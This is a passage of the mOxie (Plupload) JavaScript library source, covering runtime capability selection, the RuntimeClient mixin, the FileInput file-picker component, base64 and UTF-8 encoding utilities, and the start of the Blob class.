2290 uid: _uid,
2291
2292 /**
2293 Runtime type (e.g. flash, html5, etc)
2294
2295 @property type
2296 @type {String}
2297 */
2298 type: type,
2299
2300 /**
2301 Runtime (not native one) may operate in browser or client mode.
2302
2303 @property mode
2304 @private
2305 @type {String|Boolean} current mode or false, if none possible
2306 */
2307 mode: Runtime.getMode(modeCaps, (options.required_caps), defaultMode),
2308
2309 /**
2310 id of the DOM container for the runtime (if available)
2311
2312 @property shimid
2313 @type {String}
2314 */
2315 shimid: _uid + '_container',
2316
2317 /**
2318 Number of connected clients. If equal to zero, runtime can be destroyed
2319
2320 @property clients
2321 @type {Number}
2322 */
2323 clients: 0,
2324
2325 /**
2326 Runtime initialization options
2327
2328 @property options
2329 @type {Object}
2330 */
2331 options: options,
2332
2333 /**
2334 Checks if the runtime has specific capability
2335
2336 @method can
2337 @param {String} cap Name of capability to check
2338 @param {Mixed} [value] If passed, capability should somehow correlate to the value
2339 @param {Object} [refCaps] Set of capabilities to check the specified cap against (defaults to internal set)
2340 @return {Boolean} true if runtime has such capability and false, if - not
2341 */
2342 can: function(cap, value) {
2343 var refCaps = arguments[2] || caps;
2344
2345 // if cap var is a comma-separated list of caps, convert it to object (key/value)
2346 if (Basic.typeOf(cap) === 'string' && Basic.typeOf(value) === 'undefined') {
2347 cap = Runtime.parseCaps(cap);
2348 }
2349
2350 if (Basic.typeOf(cap) === 'object') {
2351 for (var key in cap) {
2352 if (!this.can(key, cap[key], refCaps)) {
2353 return false;
2354 }
2355 }
2356 return true;
2357 }
2358
2359 // check the individual cap
2360 if (Basic.typeOf(refCaps[cap]) === 'function') {
2361 return refCaps[cap].call(this, value);
2362 } else {
2363 return (value === refCaps[cap]);
2364 }
2365 },
2366
2367 /**
2368 Returns container for the runtime as DOM element
2369
2370 @method getShimContainer
2371 @return {DOMElement}
2372 */
2373 getShimContainer: function() {
2374 var container, shimContainer = Dom.get(this.shimid);
2375
2376 // if no container for shim, create one
2377 if (!shimContainer) {
2378 container = this.options.container ? Dom.get(this.options.container) : document.body;
2379
2380 // create shim container and insert it at an absolute position into the outer container
2381 shimContainer = document.createElement('div');
2382 shimContainer.id = this.shimid;
2383 shimContainer.className = 'moxie-shim moxie-shim-' + this.type;
2384
2385 Basic.extend(shimContainer.style, {
2386 position: 'absolute',
2387 top: '0px',
2388 left: '0px',
2389 width: '1px',
2390 height: '1px',
2391 overflow: 'hidden'
2392 });
2393
2394 container.appendChild(shimContainer);
2395 container = null;
2396 }
2397
2398 return shimContainer;
2399 },
2400
2401 /**
2402 Returns runtime as DOM element (if appropriate)
2403
2404 @method getShim
2405 @return {DOMElement}
2406 */
2407 getShim: function() {
2408 return _shim;
2409 },
2410
2411 /**
2412 Invokes a method within the runtime itself (might differ across the runtimes)
2413
2414 @method shimExec
2415 @param {Mixed} []
2416 @protected
2417 @return {Mixed} Depends on the action and component
2418 */
2419 shimExec: function(component, action) {
2420 var args = [].slice.call(arguments, 2);
2421 return self.getShim().exec.call(this, this.uid, component, action, args);
2422 },
2423
2424 /**
2425 Operaional interface that is used by components to invoke specific actions on the runtime
2426 (is invoked in the scope of component)
2427
2428 @method exec
2429 @param {Mixed} []*
2430 @protected
2431 @return {Mixed} Depends on the action and component
2432 */
2433 exec: function(component, action) { // this is called in the context of component, not runtime
2434 var args = [].slice.call(arguments, 2);
2435
2436 if (self[component] && self[component][action]) {
2437 return self[component][action].apply(this, args);
2438 }
2439 return self.shimExec.apply(this, arguments);
2440 },
2441
2442 /**
2443 Destroys the runtime (removes all events and deletes DOM structures)
2444
2445 @method destroy
2446 */
2447 destroy: function() {
2448 if (!self) {
2449 return; // obviously already destroyed
2450 }
2451
2452 var shimContainer = Dom.get(this.shimid);
2453 if (shimContainer) {
2454 shimContainer.parentNode.removeChild(shimContainer);
2455 }
2456
2457 if (_shim) {
2458 _shim.removeAllInstances();
2459 }
2460
2461 this.unbindAll();
2462 delete runtimes[this.uid];
2463 this.uid = null; // mark this runtime as destroyed
2464 _uid = self = _shim = shimContainer = null;
2465 }
2466 });
2467
2468 // once we got the mode, test against all caps
2469 if (this.mode && options.required_caps && !this.can(options.required_caps)) {
2470 this.mode = false;
2471 }
2472 }
2473
2474
2475 /**
2476 Default order to try different runtime types
2477
2478 @property order
2479 @type String
2480 @static
2481 */
2482 Runtime.order = 'html5,html4';
2483
2484
2485 /**
2486 Retrieves runtime from private hash by it's uid
2487
2488 @method getRuntime
2489 @private
2490 @static
2491 @param {String} uid Unique identifier of the runtime
2492 @return {Runtime|Boolean} Returns runtime, if it exists and false, if - not
2493 */
2494 Runtime.getRuntime = function(uid) {
2495 return runtimes[uid] ? runtimes[uid] : false;
2496 };
2497
2498
2499 /**
2500 Register constructor for the Runtime of new (or perhaps modified) type
2501
2502 @method addConstructor
2503 @static
2504 @param {String} type Runtime type (e.g. flash, html5, etc)
2505 @param {Function} construct Constructor for the Runtime type
2506 */
2507 Runtime.addConstructor = function(type, constructor) {
2508 constructor.prototype = EventTarget.instance;
2509 runtimeConstructors[type] = constructor;
2510 };
2511
2512
2513 /**
2514 Get the constructor for the specified type.
2515
2516 method getConstructor
2517 @static
2518 @param {String} type Runtime type (e.g. flash, html5, etc)
2519 @return {Function} Constructor for the Runtime type
2520 */
2521 Runtime.getConstructor = function(type) {
2522 return runtimeConstructors[type] || null;
2523 };
2524
2525
2526 /**
2527 Get info about the runtime (uid, type, capabilities)
2528
2529 @method getInfo
2530 @static
2531 @param {String} uid Unique identifier of the runtime
2532 @return {Mixed} Info object or null if runtime doesn't exist
2533 */
2534 Runtime.getInfo = function(uid) {
2535 var runtime = Runtime.getRuntime(uid);
2536
2537 if (runtime) {
2538 return {
2539 uid: runtime.uid,
2540 type: runtime.type,
2541 mode: runtime.mode,
2542 can: function() {
2543 return runtime.can.apply(runtime, arguments);
2544 }
2545 };
2546 }
2547 return null;
2548 };
2549
2550
2551 /**
2552 Convert caps represented by a comma-separated string to the object representation.
2553
2554 @method parseCaps
2555 @static
2556 @param {String} capStr Comma-separated list of capabilities
2557 @return {Object}
2558 */
2559 Runtime.parseCaps = function(capStr) {
2560 var capObj = {};
2561
2562 if (Basic.typeOf(capStr) !== 'string') {
2563 return capStr || {};
2564 }
2565
2566 Basic.each(capStr.split(','), function(key) {
2567 capObj[key] = true; // we assume it to be - true
2568 });
2569
2570 return capObj;
2571 };
2572
2573 /**
2574 Test the specified runtime for specific capabilities.
2575
2576 @method can
2577 @static
2578 @param {String} type Runtime type (e.g. flash, html5, etc)
2579 @param {String|Object} caps Set of capabilities to check
2580 @return {Boolean} Result of the test
2581 */
2582 Runtime.can = function(type, caps) {
2583 var runtime
2584 , constructor = Runtime.getConstructor(type)
2585 , mode
2586 ;
2587 if (constructor) {
2588 runtime = new constructor({
2589 required_caps: caps
2590 });
2591 mode = runtime.mode;
2592 runtime.destroy();
2593 return !!mode;
2594 }
2595 return false;
2596 };
2597
2598
2599 /**
2600 Figure out a runtime that supports specified capabilities.
2601
2602 @method thatCan
2603 @static
2604 @param {String|Object} caps Set of capabilities to check
2605 @param {String} [runtimeOrder] Comma-separated list of runtimes to check against
2606 @return {String} Usable runtime identifier or null
2607 */
2608 Runtime.thatCan = function(caps, runtimeOrder) {
2609 var types = (runtimeOrder || Runtime.order).split(/\s*,\s*/);
2610 for (var i in types) {
2611 if (Runtime.can(types[i], caps)) {
2612 return types[i];
2613 }
2614 }
2615 return null;
2616 };
2617
2618
2619 /**
2620 Figure out an operational mode for the specified set of capabilities.
2621
2622 @method getMode
2623 @static
2624 @param {Object} modeCaps Set of capabilities that depend on particular runtime mode
2625 @param {Object} [requiredCaps] Supplied set of capabilities to find operational mode for
2626 @param {String|Boolean} [defaultMode='browser'] Default mode to use
2627 @return {String|Boolean} Compatible operational mode
2628 */
2629 Runtime.getMode = function(modeCaps, requiredCaps, defaultMode) {
2630 var mode = null;
2631
2632 if (Basic.typeOf(defaultMode) === 'undefined') { // only if not specified
2633 defaultMode = 'browser';
2634 }
2635
2636 if (requiredCaps && !Basic.isEmptyObj(modeCaps)) {
2637 // loop over required caps and check if they do require the same mode
2638 Basic.each(requiredCaps, function(value, cap) {
2639 if (modeCaps.hasOwnProperty(cap)) {
2640 var capMode = modeCaps[cap](value);
2641
2642 // make sure we always have an array
2643 if (typeof(capMode) === 'string') {
2644 capMode = [capMode];
2645 }
2646
2647 if (!mode) {
2648 mode = capMode;
2649 } else if (!(mode = Basic.arrayIntersect(mode, capMode))) {
2650 // if cap requires conflicting mode - runtime cannot fulfill required caps
2651
2652 if (MXI_DEBUG && Env.debug.runtime) {
2653 Env.log("\t\t%c: %v (conflicting mode requested: %s)", cap, value, capMode);
2654 }
2655
2656 return (mode = false);
2657 }
2658 }
2659
2660 if (MXI_DEBUG && Env.debug.runtime) {
2661 Env.log("\t\t%c: %v (compatible modes: %s)", cap, value, mode);
2662 }
2663 });
2664
2665 if (mode) {
2666 return Basic.inArray(defaultMode, mode) !== -1 ? defaultMode : mode[0];
2667 } else if (mode === false) {
2668 return false;
2669 }
2670 }
2671 return defaultMode;
2672 };
2673
2674
2675 /**
2676 Capability check that always returns true
2677
2678 @private
2679 @static
2680 @return {True}
2681 */
2682 Runtime.capTrue = function() {
2683 return true;
2684 };
2685
2686 /**
2687 Capability check that always returns false
2688
2689 @private
2690 @static
2691 @return {False}
2692 */
2693 Runtime.capFalse = function() {
2694 return false;
2695 };
2696
2697 /**
2698 Evaluate the expression to boolean value and create a function that always returns it.
2699
2700 @private
2701 @static
2702 @param {Mixed} expr Expression to evaluate
2703 @return {Function} Function returning the result of evaluation
2704 */
2705 Runtime.capTest = function(expr) {
2706 return function() {
2707 return !!expr;
2708 };
2709 };
2710
2711 return Runtime;
2712});
2713
2714// Included from: src/javascript/runtime/RuntimeClient.js
2715
2716/**
2717 * RuntimeClient.js
2718 *
2719 * Copyright 2013, Moxiecode Systems AB
2720 * Released under GPL License.
2721 *
2722 * License: http://www.plupload.com/license
2723 * Contributing: http://www.plupload.com/contributing
2724 */
2725
2726define('moxie/runtime/RuntimeClient', [
2727 'moxie/core/utils/Env',
2728 'moxie/core/Exceptions',
2729 'moxie/core/utils/Basic',
2730 'moxie/runtime/Runtime'
2731], function(Env, x, Basic, Runtime) {
2732 /**
2733 Set of methods and properties, required by a component to acquire ability to connect to a runtime
2734
2735 @class RuntimeClient
2736 */
2737 return function RuntimeClient() {
2738 var runtime;
2739
2740 Basic.extend(this, {
2741 /**
2742 Connects to the runtime specified by the options. Will either connect to existing runtime or create a new one.
2743 Increments number of clients connected to the specified runtime.
2744
2745 @private
2746 @method connectRuntime
2747 @param {Mixed} options Can be a runtme uid or a set of key-value pairs defining requirements and pre-requisites
2748 */
2749 connectRuntime: function(options) {
2750 var comp = this, ruid;
2751
2752 function initialize(items) {
2753 var type, constructor;
2754
2755 // if we ran out of runtimes
2756 if (!items.length) {
2757 comp.trigger('RuntimeError', new x.RuntimeError(x.RuntimeError.NOT_INIT_ERR));
2758 runtime = null;
2759 return;
2760 }
2761
2762 type = items.shift().toLowerCase();
2763 constructor = Runtime.getConstructor(type);
2764 if (!constructor) {
2765 initialize(items);
2766 return;
2767 }
2768
2769 if (MXI_DEBUG && Env.debug.runtime) {
2770 Env.log("Trying runtime: %s", type);
2771 Env.log(options);
2772 }
2773
2774 // try initializing the runtime
2775 runtime = new constructor(options);
2776
2777 runtime.bind('Init', function() {
2778 // mark runtime as initialized
2779 runtime.initialized = true;
2780
2781 if (MXI_DEBUG && Env.debug.runtime) {
2782 Env.log("Runtime '%s' initialized", runtime.type);
2783 }
2784
2785 // jailbreak ...
2786 setTimeout(function() {
2787 runtime.clients++;
2788 // this will be triggered on component
2789 comp.trigger('RuntimeInit', runtime);
2790 }, 1);
2791 });
2792
2793 runtime.bind('Error', function() {
2794 if (MXI_DEBUG && Env.debug.runtime) {
2795 Env.log("Runtime '%s' failed to initialize", runtime.type);
2796 }
2797
2798 runtime.destroy(); // runtime cannot destroy itself from inside at a right moment, thus we do it here
2799 initialize(items);
2800 });
2801
2802 /*runtime.bind('Exception', function() { });*/
2803
2804 if (MXI_DEBUG && Env.debug.runtime) {
2805 Env.log("\tselected mode: %s", runtime.mode);
2806 }
2807
2808 // check if runtime managed to pick-up operational mode
2809 if (!runtime.mode) {
2810 runtime.trigger('Error');
2811 return;
2812 }
2813
2814 runtime.init();
2815 }
2816
2817 // check if a particular runtime was requested
2818 if (Basic.typeOf(options) === 'string') {
2819 ruid = options;
2820 } else if (Basic.typeOf(options.ruid) === 'string') {
2821 ruid = options.ruid;
2822 }
2823
2824 if (ruid) {
2825 runtime = Runtime.getRuntime(ruid);
2826 if (runtime) {
2827 runtime.clients++;
2828 return runtime;
2829 } else {
2830 // there should be a runtime and there's none - weird case
2831 throw new x.RuntimeError(x.RuntimeError.NOT_INIT_ERR);
2832 }
2833 }
2834
2835 // initialize a fresh one, that fits runtime list and required features best
2836 initialize((options.runtime_order || Runtime.order).split(/\s*,\s*/));
2837 },
2838
2839
2840 /**
2841 Disconnects from the runtime. Decrements number of clients connected to the specified runtime.
2842
2843 @private
2844 @method disconnectRuntime
2845 */
2846 disconnectRuntime: function() {
2847 if (runtime && --runtime.clients <= 0) {
2848 runtime.destroy();
2849 }
2850
2851 // once the component is disconnected, it shouldn't have access to the runtime
2852 runtime = null;
2853 },
2854
2855
2856 /**
2857 Returns the runtime to which the client is currently connected.
2858
2859 @method getRuntime
2860 @return {Runtime} Runtime or null if client is not connected
2861 */
2862 getRuntime: function() {
2863 if (runtime && runtime.uid) {
2864 return runtime;
2865 }
2866 return runtime = null; // make sure we do not leave zombies rambling around
2867 },
2868
2869
2870 /**
2871 Handy shortcut to safely invoke runtime extension methods.
2872
2873 @private
2874 @method exec
2875 @return {Mixed} Whatever runtime extension method returns
2876 */
2877 exec: function() {
2878 if (runtime) {
2879 return runtime.exec.apply(this, arguments);
2880 }
2881 return null;
2882 }
2883
2884 });
2885 };
2886
2887
2888});
2889
2890// Included from: src/javascript/file/FileInput.js
2891
2892/**
2893 * FileInput.js
2894 *
2895 * Copyright 2013, Moxiecode Systems AB
2896 * Released under GPL License.
2897 *
2898 * License: http://www.plupload.com/license
2899 * Contributing: http://www.plupload.com/contributing
2900 */
2901
2902define('moxie/file/FileInput', [
2903 'moxie/core/utils/Basic',
2904 'moxie/core/utils/Env',
2905 'moxie/core/utils/Mime',
2906 'moxie/core/utils/Dom',
2907 'moxie/core/Exceptions',
2908 'moxie/core/EventTarget',
2909 'moxie/core/I18n',
2910 'moxie/runtime/Runtime',
2911 'moxie/runtime/RuntimeClient'
2912], function(Basic, Env, Mime, Dom, x, EventTarget, I18n, Runtime, RuntimeClient) {
2913 /**
2914 Provides a convenient way to create cross-browser file-picker. Generates file selection dialog on click,
2915 converts selected files to _File_ objects, to be used in conjunction with _Image_, preloaded in memory
2916 with _FileReader_ or uploaded to a server through _XMLHttpRequest_.
2917
2918 @class FileInput
2919 @constructor
2920 @extends EventTarget
2921 @uses RuntimeClient
2922 @param {Object|String|DOMElement} options If options is string or node, argument is considered as _browse\_button_.
2923 @param {String|DOMElement} options.browse_button DOM Element to turn into file picker.
2924 @param {Array} [options.accept] Array of mime types to accept. By default accepts all.
2925 @param {String} [options.file='file'] Name of the file field (not the filename).
2926 @param {Boolean} [options.multiple=false] Enable selection of multiple files.
2927 @param {Boolean} [options.directory=false] Turn file input into the folder input (cannot be both at the same time).
2928 @param {String|DOMElement} [options.container] DOM Element to use as a container for file-picker. Defaults to parentNode
2929 for _browse\_button_.
2930 @param {Object|String} [options.required_caps] Set of required capabilities, that chosen runtime must support.
2931
2932 @example
2933 <div id="container">
2934 <a id="file-picker" href="javascript:;">Browse...</a>
2935 </div>
2936
2937 <script>
2938 var fileInput = new mOxie.FileInput({
2939 browse_button: 'file-picker', // or document.getElementById('file-picker')
2940 container: 'container',
2941 accept: [
2942 {title: "Image files", extensions: "jpg,gif,png"} // accept only images
2943 ],
2944 multiple: true // allow multiple file selection
2945 });
2946
2947 fileInput.onchange = function(e) {
2948 // do something to files array
2949 console.info(e.target.files); // or this.files or fileInput.files
2950 };
2951
2952 fileInput.init(); // initialize
2953 </script>
2954 */
2955 var dispatches = [
2956 /**
2957 Dispatched when runtime is connected and file-picker is ready to be used.
2958
2959 @event ready
2960 @param {Object} event
2961 */
2962 'ready',
2963
2964 /**
2965 Dispatched right after [ready](#event_ready) event, and whenever [refresh()](#method_refresh) is invoked.
2966 Check [corresponding documentation entry](#method_refresh) for more info.
2967
2968 @event refresh
2969 @param {Object} event
2970 */
2971
2972 /**
2973 Dispatched when selection of files in the dialog is complete.
2974
2975 @event change
2976 @param {Object} event
2977 */
2978 'change',
2979
2980 'cancel', // TODO: might be useful
2981
2982 /**
2983 Dispatched when mouse cursor enters file-picker area. Can be used to style element
2984 accordingly.
2985
2986 @event mouseenter
2987 @param {Object} event
2988 */
2989 'mouseenter',
2990
2991 /**
2992 Dispatched when mouse cursor leaves file-picker area. Can be used to style element
2993 accordingly.
2994
2995 @event mouseleave
2996 @param {Object} event
2997 */
2998 'mouseleave',
2999
3000 /**
3001 Dispatched when functional mouse button is pressed on top of file-picker area.
3002
3003 @event mousedown
3004 @param {Object} event
3005 */
3006 'mousedown',
3007
3008 /**
3009 Dispatched when functional mouse button is released on top of file-picker area.
3010
3011 @event mouseup
3012 @param {Object} event
3013 */
3014 'mouseup'
3015 ];
3016
3017 function FileInput(options) {
3018 if (MXI_DEBUG) {
3019 Env.log("Instantiating FileInput...");
3020 }
3021
3022 var self = this,
3023 container, browseButton, defaults;
3024
3025 // if flat argument passed it should be browse_button id
3026 if (Basic.inArray(Basic.typeOf(options), ['string', 'node']) !== -1) {
3027 options = { browse_button : options };
3028 }
3029
3030 // this will help us to find proper default container
3031 browseButton = Dom.get(options.browse_button);
3032 if (!browseButton) {
3033 // browse button is required
3034 throw new x.DOMException(x.DOMException.NOT_FOUND_ERR);
3035 }
3036
3037 // figure out the options
3038 defaults = {
3039 accept: [{
3040 title: I18n.translate('All Files'),
3041 extensions: '*'
3042 }],
3043 name: 'file',
3044 multiple: false,
3045 required_caps: false,
3046 container: browseButton.parentNode || document.body
3047 };
3048
3049 options = Basic.extend({}, defaults, options);
3050
3051 // convert to object representation
3052 if (typeof(options.required_caps) === 'string') {
3053 options.required_caps = Runtime.parseCaps(options.required_caps);
3054 }
3055
3056 // normalize accept option (could be list of mime types or array of title/extensions pairs)
3057 if (typeof(options.accept) === 'string') {
3058 options.accept = Mime.mimes2extList(options.accept);
3059 }
3060
3061 container = Dom.get(options.container);
3062 // make sure we have container
3063 if (!container) {
3064 container = document.body;
3065 }
3066
3067 // make container relative, if it's not
3068 if (Dom.getStyle(container, 'position') === 'static') {
3069 container.style.position = 'relative';
3070 }
3071
3072 container = browseButton = null; // IE
3073
3074 RuntimeClient.call(self);
3075
3076 Basic.extend(self, {
3077 /**
3078 Unique id of the component
3079
3080 @property uid
3081 @protected
3082 @readOnly
3083 @type {String}
3084 @default UID
3085 */
3086 uid: Basic.guid('uid_'),
3087
3088 /**
3089 Unique id of the connected runtime, if any.
3090
3091 @property ruid
3092 @protected
3093 @type {String}
3094 */
3095 ruid: null,
3096
3097 /**
3098 Unique id of the runtime container. Useful to get hold of it for various manipulations.
3099
3100 @property shimid
3101 @protected
3102 @type {String}
3103 */
3104 shimid: null,
3105
3106 /**
3107 Array of selected mOxie.File objects
3108
3109 @property files
3110 @type {Array}
3111 @default null
3112 */
3113 files: null,
3114
3115 /**
3116 Initializes the file-picker, connects it to runtime and dispatches event ready when done.
3117
3118 @method init
3119 */
3120 init: function() {
3121 self.bind('RuntimeInit', function(e, runtime) {
3122 self.ruid = runtime.uid;
3123 self.shimid = runtime.shimid;
3124
3125 self.bind("Ready", function() {
3126 self.trigger("Refresh");
3127 }, 999);
3128
3129 // re-position and resize shim container
3130 self.bind('Refresh', function() {
3131 var pos, size, browseButton, shimContainer;
3132
3133 browseButton = Dom.get(options.browse_button);
3134 shimContainer = Dom.get(runtime.shimid); // do not use runtime.getShimContainer(), since it will create container if it doesn't exist
3135
3136 if (browseButton) {
3137 pos = Dom.getPos(browseButton, Dom.get(options.container));
3138 size = Dom.getSize(browseButton);
3139
3140 if (shimContainer) {
3141 Basic.extend(shimContainer.style, {
3142 top : pos.y + 'px',
3143 left : pos.x + 'px',
3144 width : size.w + 'px',
3145 height : size.h + 'px'
3146 });
3147 }
3148 }
3149 shimContainer = browseButton = null;
3150 });
3151
3152 runtime.exec.call(self, 'FileInput', 'init', options);
3153 });
3154
3155 // runtime needs: options.required_features, options.runtime_order and options.container
3156 self.connectRuntime(Basic.extend({}, options, {
3157 required_caps: {
3158 select_file: true
3159 }
3160 }));
3161 },
3162
3163 /**
3164 Disables file-picker element, so that it doesn't react to mouse clicks.
3165
3166 @method disable
3167 @param {Boolean} [state=true] Disable component if - true, enable if - false
3168 */
3169 disable: function(state) {
3170 var runtime = this.getRuntime();
3171 if (runtime) {
3172 runtime.exec.call(this, 'FileInput', 'disable', Basic.typeOf(state) === 'undefined' ? true : state);
3173 }
3174 },
3175
3176
3177 /**
3178 Reposition and resize dialog trigger to match the position and size of browse_button element.
3179
3180 @method refresh
3181 */
3182 refresh: function() {
3183 self.trigger("Refresh");
3184 },
3185
3186
3187 /**
3188 Destroy component.
3189
3190 @method destroy
3191 */
3192 destroy: function() {
3193 var runtime = this.getRuntime();
3194 if (runtime) {
3195 runtime.exec.call(this, 'FileInput', 'destroy');
3196 this.disconnectRuntime();
3197 }
3198
3199 if (Basic.typeOf(this.files) === 'array') {
3200 // no sense in leaving associated files behind
3201 Basic.each(this.files, function(file) {
3202 file.destroy();
3203 });
3204 }
3205 this.files = null;
3206
3207 this.unbindAll();
3208 }
3209 });
3210
3211 this.handleEventProps(dispatches);
3212 }
3213
3214 FileInput.prototype = EventTarget.instance;
3215
3216 return FileInput;
3217});
3218
3219// Included from: src/javascript/core/utils/Encode.js
3220
3221/**
3222 * Encode.js
3223 *
3224 * Copyright 2013, Moxiecode Systems AB
3225 * Released under GPL License.
3226 *
3227 * License: http://www.plupload.com/license
3228 * Contributing: http://www.plupload.com/contributing
3229 */
3230
3231define('moxie/core/utils/Encode', [], function() {
3232
3233 /**
3234 Encode string with UTF-8
3235
3236 @method utf8_encode
3237 @for Utils
3238 @static
3239 @param {String} str String to encode
3240 @return {String} UTF-8 encoded string
3241 */
3242 var utf8_encode = function(str) {
3243 return unescape(encodeURIComponent(str));
3244 };
3245
3246 /**
3247 Decode UTF-8 encoded string
3248
3249 @method utf8_decode
3250 @static
3251 @param {String} str String to decode
3252 @return {String} Decoded string
3253 */
3254 var utf8_decode = function(str_data) {
3255 return decodeURIComponent(escape(str_data));
3256 };
3257
3258 /**
3259 Decode Base64 encoded string (uses browser's default method if available),
3260 from: https://raw.github.com/kvz/phpjs/master/functions/url/base64_decode.js
3261
3262 @method atob
3263 @static
3264 @param {String} data String to decode
3265 @return {String} Decoded string
3266 */
3267 var atob = function(data, utf8) {
3268 if (typeof(window.atob) === 'function') {
3269 return utf8 ? utf8_decode(window.atob(data)) : window.atob(data);
3270 }
3271
3272 // http://kevin.vanzonneveld.net
3273 // + original by: Tyler Akins (http://rumkin.com)
3274 // + improved by: Thunder.m
3275 // + input by: Aman Gupta
3276 // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
3277 // + bugfixed by: Onno Marsman
3278 // + bugfixed by: Pellentesque Malesuada
3279 // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
3280 // + input by: Brett Zamir (http://brett-zamir.me)
3281 // + bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
3282 // * example 1: base64_decode('S2V2aW4gdmFuIFpvbm5ldmVsZA==');
3283 // * returns 1: 'Kevin van Zonneveld'
3284 // mozilla has this native
3285 // - but breaks in 2.0.0.12!
3286 //if (typeof this.window.atob == 'function') {
3287 // return atob(data);
3288 //}
3289 var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
3290 var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
3291 ac = 0,
3292 dec = "",
3293 tmp_arr = [];
3294
3295 if (!data) {
3296 return data;
3297 }
3298
3299 data += '';
3300
3301 do { // unpack four hexets into three octets using index points in b64
3302 h1 = b64.indexOf(data.charAt(i++));
3303 h2 = b64.indexOf(data.charAt(i++));
3304 h3 = b64.indexOf(data.charAt(i++));
3305 h4 = b64.indexOf(data.charAt(i++));
3306
3307 bits = h1 << 18 | h2 << 12 | h3 << 6 | h4;
3308
3309 o1 = bits >> 16 & 0xff;
3310 o2 = bits >> 8 & 0xff;
3311 o3 = bits & 0xff;
3312
3313 if (h3 == 64) {
3314 tmp_arr[ac++] = String.fromCharCode(o1);
3315 } else if (h4 == 64) {
3316 tmp_arr[ac++] = String.fromCharCode(o1, o2);
3317 } else {
3318 tmp_arr[ac++] = String.fromCharCode(o1, o2, o3);
3319 }
3320 } while (i < data.length);
3321
3322 dec = tmp_arr.join('');
3323
3324 return utf8 ? utf8_decode(dec) : dec;
3325 };
3326
3327 /**
3328 Base64 encode string (uses browser's default method if available),
3329 from: https://raw.github.com/kvz/phpjs/master/functions/url/base64_encode.js
3330
3331 @method btoa
3332 @static
3333 @param {String} data String to encode
3334 @return {String} Base64 encoded string
3335 */
3336 var btoa = function(data, utf8) {
3337 if (utf8) {
3338 data = utf8_encode(data);
3339 }
3340
3341 if (typeof(window.btoa) === 'function') {
3342 return window.btoa(data);
3343 }
3344
3345 // http://kevin.vanzonneveld.net
3346 // + original by: Tyler Akins (http://rumkin.com)
3347 // + improved by: Bayron Guevara
3348 // + improved by: Thunder.m
3349 // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
3350 // + bugfixed by: Pellentesque Malesuada
3351 // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
3352 // + improved by: Rafał Kukawski (http://kukawski.pl)
3353 // * example 1: base64_encode('Kevin van Zonneveld');
3354 // * returns 1: 'S2V2aW4gdmFuIFpvbm5ldmVsZA=='
3355 // mozilla has this native
3356 // - but breaks in 2.0.0.12!
3357 var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
3358 var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
3359 ac = 0,
3360 enc = "",
3361 tmp_arr = [];
3362
3363 if (!data) {
3364 return data;
3365 }
3366
3367 do { // pack three octets into four hexets
3368 o1 = data.charCodeAt(i++);
3369 o2 = data.charCodeAt(i++);
3370 o3 = data.charCodeAt(i++);
3371
3372 bits = o1 << 16 | o2 << 8 | o3;
3373
3374 h1 = bits >> 18 & 0x3f;
3375 h2 = bits >> 12 & 0x3f;
3376 h3 = bits >> 6 & 0x3f;
3377 h4 = bits & 0x3f;
3378
3379 // use hexets to index into b64, and append result to encoded string
3380 tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
3381 } while (i < data.length);
3382
3383 enc = tmp_arr.join('');
3384
3385 var r = data.length % 3;
3386
3387 return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3);
3388 };
3389
3390
3391 return {
3392 utf8_encode: utf8_encode,
3393 utf8_decode: utf8_decode,
3394 atob: atob,
3395 btoa: btoa
3396 };
3397});
3398
3399// Included from: src/javascript/file/Blob.js
3400
3401/**
3402 * Blob.js
3403 *
3404 * Copyright 2013, Moxiecode Systems AB
3405 * Released under GPL License.
3406 *
3407 * License: http://www.plupload.com/license
3408 * Contributing: http://www.plupload.com/contributing
3409 */
3410
3411define('moxie/file/Blob', [
3412 'moxie/core/utils/Basic',
3413 'moxie/core/utils/Encode',
3414 'moxie/runtime/RuntimeClient'
3415], function(Basic, Encode, RuntimeClient) {
3416
3417 var blobpool = {};
3418
3419 /**
3420 @class Blob
3421 @constructor
3422 @param {String} ruid Unique id of the runtime, to which this blob belongs to
3423 @param {Object} blob Object "Native" blob object, as it is represented in the runtime
3424 */
3425 function Blob(ruid, blob) {
3426
3427 function _sliceDetached(start, end, type) {
3428 var blob, data = blobpool[this.uid];
3429
3430 if (Basic.typeOf(data) !== 'string' || !data.length) {
3431 return null; // or throw exception
3432 }
3433
3434 blob = new Blob(null, {
3435 type: type,
3436 size: end - start
3437 });
3438 blob.detach(data.substr(start, blob.size));
3439
3440 return blob;
3441 }
3442
3443 RuntimeClient.call(this);
3444
3445 if (ruid) {
3446 this.connectRuntime(ruid);
3447 }
3448
3449 if (!blob) {
3450 blob = {};
3451 } else if (Basic.typeOf(blob) === 'string') { // dataUrl or binary string
3452 blob = { data: blob };
3453 }
3454
3455 Basic.extend(this, {
3456
3457 /**
3458 Unique id of the component
3459
3460 @property uid
3461 @type {String}
3462 */
3463 uid: blob.uid || Basic.guid('uid_'),
3464
3465 /**
3466 Unique id of the connected runtime, if falsy, then runtime will have to be initialized
3467 before this Blob can be used, modified or sent
3468
3469 @property ruid
3470 @type {String}
3471 */
3472 ruid: ruid,
3473
3474 /**
3475 Size of blob
3476
3477 @property size
3478 @type {Number}
3479 @default 0
3480 */
3481 size: blob.size || 0,
3482
3483 /**
3484 Mime type of blob
3485
3486 @property type
3487 @type {String}
3488 @default ''
3489 */
3490 type: blob.type || '',
3491
3492 /**
3493 @method slice
3494 @param {Number} [start=0]
3495 */
3496 slice: function(start, end, type) {
3497 if (this.isDetached()) {
3498 return _sliceDetached.apply(this, arguments);
3499 }
3500 return this.getRuntime().exec.call(this, 'Blob', 'slice', this.getSource(), start, end, type);
3501 },
3502
3503 /**
3504 Returns "native" blob object (as it is represented in connected runtime) or null if not found
3505
3506 @method getSource
3507 @return {Blob} Returns "native" blob object or null if not found
3508 */
